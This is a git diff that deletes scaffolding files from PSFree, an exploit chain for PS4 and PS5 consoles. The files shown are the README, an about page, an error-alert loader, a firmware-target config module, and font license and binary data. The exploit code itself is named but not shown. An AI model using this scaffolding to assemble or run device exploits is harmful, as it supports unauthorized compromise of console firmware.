@@ -1,30 +0,0 @@ -# PSFree version 1.5.0 - -Lapse Kex ported to 9.00 - Still WIP - -Very fast and reliable but can KP :P - -- Needs a bin loader on Port 9020. -- Some performance Tweaks??. -- Add sysveri Patch - -PR are welcome - -PSFree is a collection of exploits for the PS4 console. The main focus of the -repo is for the PS4 but we try to make things portable to PS5. - -* Exploits - * PSFree: src/psfree.mjs - * Lapse (kernel): src/scripts/lapse.mjs - -Donation (Monero/XMR): -86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS - -# COPYRIGHT AND AUTHORS: -AGPL-3.0-or-later (see src/COPYING). This repo belongs to the group -`anonymous`. We refer to anonymous contributors as "anonymous" as well. - -# CREDITS: -* anonymous for PS4 firmware kernel dumps -* Check the appropriate files for any **extra** contributors. Unless otherwise - stated, everything here can also be credited to us. diff --git a/psfree/about.html b/psfree/about.html deleted file mode 100644 index 2fc6be3..0000000 --- a/psfree/about.html +++ /dev/null @@ -1,116 +0,0 @@ - - - - - About PSFree - - - PSFree is an exploit chain for PS4 and PS5.
- PSFree is free software. See
COPYING for the copyleft information.
- PSFree's license is GNU-AGPL-3.0-or-later.
- Here is the source code of this program:
-
- HTML files:
- index.html
- about.html
- JavaScript files:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
psfree.mjsGNU-AGPL-3.0-or-laterdownload
alert.mjsGNU-AGPL-3.0-or-laterdownload
config.mjsGNU-AGPL-3.0-or-laterdownload
send.mjsGNU-AGPL-3.0-or-laterdownload
scripts/lapse.mjsGNU-AGPL-3.0-or-laterdownload
rop/800.mjsGNU-AGPL-3.0-or-laterdownload
module/chain.mjsGNU-AGPL-3.0-or-laterdownload
module/int64.mjsGNU-AGPL-3.0-or-laterdownload
module/view.mjsGNU-AGPL-3.0-or-laterdownload
module/memtools.mjsGNU-AGPL-3.0-or-laterdownload
module/utils.mjsGNU-AGPL-3.0-or-laterdownload
module/rw.mjsGNU-AGPL-3.0-or-laterdownload
module/offset.mjsGNU-AGPL-3.0-or-laterdownload
module/mem.mjsGNU-AGPL-3.0-or-laterdownload
- kpatch/ files:
- kpatch/utils.h
- kpatch/script.ld
- kpatch/Makefile
- kpatch/80x.c
- kpatch/types.h
- fonts/ files:
- fonts/README.txt
- fonts/FONTS.LICENSE
- fonts/LiberationMono-Regular.ttf
- - diff --git a/psfree/alert.mjs b/psfree/alert.mjs deleted file mode 100644 index b5a7371..0000000 --- a/psfree/alert.mjs +++ /dev/null @@ -1,52 +0,0 @@ -/* Copyright (C) 2023-2025 anonymous - -This file is part of PSFree. - -PSFree is free software: you can redistribute it and/or modify -it under the terms of the GNU Affero General Public License as -published by the Free Software Foundation, either version 3 of the -License, or (at your option) any later version. - -PSFree is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU Affero General Public License for more details. - -You should have received a copy of the GNU Affero General Public License -along with this program. If not, see . */ - -// We can't just open a console on the ps4 browser, make sure the errors thrown -// by our program are alerted. - -// We don't use a custom logging function to avoid a dependency on a logging -// module since we want this file to stand alone. We don't want to copy the -// log function here either for the sake avoiding dependencies since using -// alert() is good enough. - -// We log the line and column numbers as well since some exceptions (like -// SyntaxError) do not show it in the stack trace. - -addEventListener('unhandledrejection', event => { - const reason = event.reason; - alert( - 'Unhandled rejection\n' - + `${reason}\n` - + `${reason.sourceURL}:${reason.line}:${reason.column}\n` - + `${reason.stack}` - ); -}); - -addEventListener('error', event => { - const reason = event.error; - alert( - 'Unhandled error\n' - + `${reason}\n` - + `${reason.sourceURL}:${reason.line}:${reason.column}\n` - + `${reason.stack}` - ); - return true; -}); - -// we have to dynamically import the program if we want to catch its syntax -// errors -import('./psfree.mjs'); diff --git a/psfree/cache.html b/psfree/cache.html deleted file mode 100644 index 2ce7382..0000000 --- a/psfree/cache.html +++ /dev/null @@ -1,23 +0,0 @@ - - -PSFree-Lapse Exploit For PS4 9.00 - - - - - -

- - \ No newline at end of file diff --git a/psfree/config.mjs b/psfree/config.mjs deleted file mode 100644 index 60325c8..0000000 --- a/psfree/config.mjs +++ /dev/null @@ -1,70 +0,0 @@ -/* Copyright (C) 2023-2025 anonymous - -This file is part of PSFree. - -PSFree is free software: you can redistribute it and/or modify -it under the terms of the GNU Affero General Public License as -published by the Free Software Foundation, either version 3 of the -License, or (at your option) any later version. - -PSFree is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU Affero General Public License for more details. - -You should have received a copy of the GNU Affero General Public License -along with this program. If not, see . */ - -// webkitgtk 2.34.4 was used to develop the portable parts of the exploit -// before moving on to ps4 8.03 -// -// webkitgtk 2.34.4 was built with cmake variable ENABLE_JIT=OFF, that variable -// can affect the size of SerializedScriptValue -// -// this target is no longer supported - -// target firmware format used by PSFree -// -// 0xC_MM_mm -// -// * C console - PS4 (0) or PS5 (1) (1 bit) -// * MM major version - integer part of the firmware version (8 bits) -// * mm minor version - fractional part of the firmware version (8 bits) -// -// examples: -// * PS4 10.00 -> C = 0 MM = 10 mm = 0 -> 0x0_10_00 -// * PS5 4.51 -> C = 1 MM = 4 mm = 51 -> 0x1_04_51 - -// check if value is in Binary Coded Decimal format -// assumes integer and is in the range [0, 0xffff] -function check_bcd(value) { - for (let i = 0; i <= 12; i += 4) { - const nibble = (value >>> i) & 0xf; - - if (nibble > 9) { - return false; - } - } - - return true; -} - -export function set_target(value) { - if (!Number.isInteger(value)) { - throw TypeError(`value not an integer: ${value}`); - } - - if (value >= 0x20000 || value < 0) { - throw RangeError(`value >= 0x20000 or value < 0: ${value}`); - } - - const version = value & 0xffff; - if (!check_bcd(version)) { - throw RangeError(`value & 0xffff not in BCD format ${version}`); - } - - target = value; -} - -export let target = null; -set_target(0x900); diff --git a/psfree/fonts/FONTS.LICENSE b/psfree/fonts/FONTS.LICENSE deleted file mode 100644 index 94475dd..0000000 --- a/psfree/fonts/FONTS.LICENSE +++ /dev/null @@ -1,101 +0,0 @@ -Digitized data copyright (c) 2010 Google Corporation - with Reserved Font Arimo, Tinos and Cousine. -Copyright (c) 2012 Red Hat, Inc. - with Reserved Font Name Liberation. - -This Font Software is licensed under the SIL Open Font License, -Version 1.1. - -This license is copied below, and is also available with a FAQ at: -http://scripts.sil.org/OFL - -SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 - -PREAMBLE The goals of the Open Font License (OFL) are to stimulate -worldwide development of collaborative font projects, to support the font -creation efforts of academic and linguistic communities, and to provide -a free and open framework in which fonts may be shared and improved in -partnership with others. - -The OFL allows the licensed fonts to be used, studied, modified and -redistributed freely as long as they are not sold by themselves. -The fonts, including any derivative works, can be bundled, embedded, -redistributed and/or sold with any software provided that any reserved -names are not used by derivative works. The fonts and derivatives, -however, cannot be released under any other type of license. The -requirement for fonts to remain under this license does not apply to -any document created using the fonts or their derivatives. - - - -DEFINITIONS -"Font Software" refers to the set of files released by the Copyright -Holder(s) under this license and clearly marked as such. -This may include source files, build scripts and documentation. - -"Reserved Font Name" refers to any names specified as such after the -copyright statement(s). - -"Original Version" refers to the collection of Font Software components -as distributed by the Copyright Holder(s). - -"Modified Version" refers to any derivative made by adding to, deleting, -or substituting ? in part or in whole ? -any of the components of the Original Version, by changing formats or -by porting the Font Software to a new environment. - -"Author" refers to any designer, engineer, programmer, technical writer -or other person who contributed to the Font Software. - - -PERMISSION & CONDITIONS - -Permission is hereby granted, free of charge, to any person obtaining a -copy of the Font Software, to use, study, copy, merge, embed, modify, -redistribute, and sell modified and unmodified copies of the Font -Software, subject to the following conditions: - -1) Neither the Font Software nor any of its individual components,in - Original or Modified Versions, may be sold by itself. - -2) Original or Modified Versions of the Font Software may be bundled, - redistributed and/or sold with any software, provided that each copy - contains the above copyright notice and this license. These can be - included either as stand-alone text files, human-readable headers or - in the appropriate machine-readable metadata fields within text or - binary files as long as those fields can be easily viewed by the user. - -3) No Modified Version of the Font Software may use the Reserved Font - Name(s) unless explicit written permission is granted by the - corresponding Copyright Holder. This restriction only applies to the - primary font name as presented to the users. - -4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font - Software shall not be used to promote, endorse or advertise any - Modified Version, except to acknowledge the contribution(s) of the - Copyright Holder(s) and the Author(s) or with their explicit written - permission. - -5) The Font Software, modified or unmodified, in part or in whole, must - be distributed entirely under this license, and must not be distributed - under any other license. The requirement for fonts to remain under - this license does not apply to any document created using the Font - Software. - - - -TERMINATION -This license becomes null and void if any of the above conditions are not met. - - - -DISCLAIMER -THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT -OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE -COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, -INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL -DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER -DEALINGS IN THE FONT SOFTWARE. diff --git a/psfree/fonts/LiberationMono-Regular.ttf b/psfree/fonts/LiberationMono-Regular.ttf deleted file mode 100644 index d91164dbfe488cb332e396c38589c783d11c9326..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 319624 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 